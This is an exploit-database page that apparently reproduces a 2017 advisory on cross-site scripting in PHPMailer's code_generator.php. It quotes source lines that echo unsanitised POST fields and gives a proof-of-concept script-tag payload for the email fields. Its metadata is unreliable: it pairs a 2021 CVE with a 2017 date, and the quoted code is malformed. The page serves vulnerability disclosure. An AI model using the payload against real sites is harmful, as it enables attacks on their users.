Advertisement






PHPMailer < 5.2.23 - Cross-Site Scripting

CVE Category Price Severity
CVE-2021-31880 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-06-25
CPE
cpe:cpe:/a:wp_phpmailer_project:phpmailer:5.2.23
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N 0.4 0.9

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017060181

Below is a copy:

PHPMailer < 5.2.23 - Cross-Site Scripting[-] Title : PHPMailer < 5.2.23 - Cross-Site Scripting
[-] Author : Shahab Shamsi
[-] Software Link : https://github.com/PHPMailer/PHPMailer
[-] Version: [ 5.2.23 ]
[-] Tested on : [ Kali , Windows ]
[-] Category : Webapps
[-] Date : 2017-06-22


Vulnerable page :
/code_generator.php


Vulnerable Source :
312: echo $from_name;
18: $from_name = $_POST['From_Name'] : '';

313: echo $from_email;
19: $from_email = $_POST['From_Email'] : '';

314: echo $to_name;
20: $to_name = $_POST['To_Name'] : '';

315: echo $to_email;
21: $to_email = $_POST['To_Email'] : '';




POC :
http://localhost/code_generator.php

step 1 = Go To Web Page = http://localhost/code_generator.php

Step 2 = In the box : "From Email Address" AND "To Email Address"

Step 3 = input box , Add JavaScript Code : <script>alert('XSS')</script>



************************
* ==> Contact Me :
* Telegram : @Shahab_Shamsi
* Email : [email protected]
* WebSilte : WwW.iran123.Org
************************

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum